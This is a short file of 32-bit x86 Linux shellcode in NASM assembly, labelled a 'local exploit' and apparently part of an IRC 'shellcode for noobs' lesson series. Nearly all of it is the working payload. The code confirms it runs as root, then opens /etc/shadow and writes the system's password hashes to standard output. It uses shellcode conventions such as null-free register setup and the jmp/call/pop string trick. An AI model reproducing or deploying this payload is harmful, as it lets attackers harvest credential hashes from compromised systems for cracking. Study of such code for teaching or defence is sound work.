local exploit Shellcode to dump /etc/shadow to stdout

;
; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
;
; ----------------------------------------------------------------------------
; "THE BEER-WARE LICENSE" (Revision 43):
; <[email protected]> wrote this file. As long as you retain this notice you
; can do whatever you want with this stuff. If we meet some day, and you think
; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
; ----------------------------------------------------------------------------
; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp

[bits 32]
section .text
global _start
_start:
; getuid16(void);
    xor eax,eax
    mov al,0x18
    int 0x80
    xor ebx,ebx
    sub eax,ebx
    jnz exit
; open("/etc/shadow", O_RDONLY);
    xor eax,eax
    mov al,0x5
    jmp short shadow

load_shadow:
    pop ebx
    xor ecx,ecx
    int 0x80 ; do magic
; read(%eax, %esp, 0xffff);
    mov ebx,eax
    push ebx
    xor eax,eax
    mov al,0x3
    mov ecx,esp
    xor edx,edx
    mov dl,0xff
    mov dh,0xff
    int 0x80
; write(1, %esp, %eax)
    mov edx,eax
    xor eax,eax
    mov al,0x4
    xor ebx,ebx
    mov bl,0x1
    int 0x80
; close(%ebx)
    xor eax,eax
    mov al,0x6
    pop ebx
    int 0x80

exit:
; exit(0);
    xor eax,eax
    mov al,0x1
    xor ebx,ebx
    int 0x80

shadow:
    call load_shadow
    db "/etc/shadow"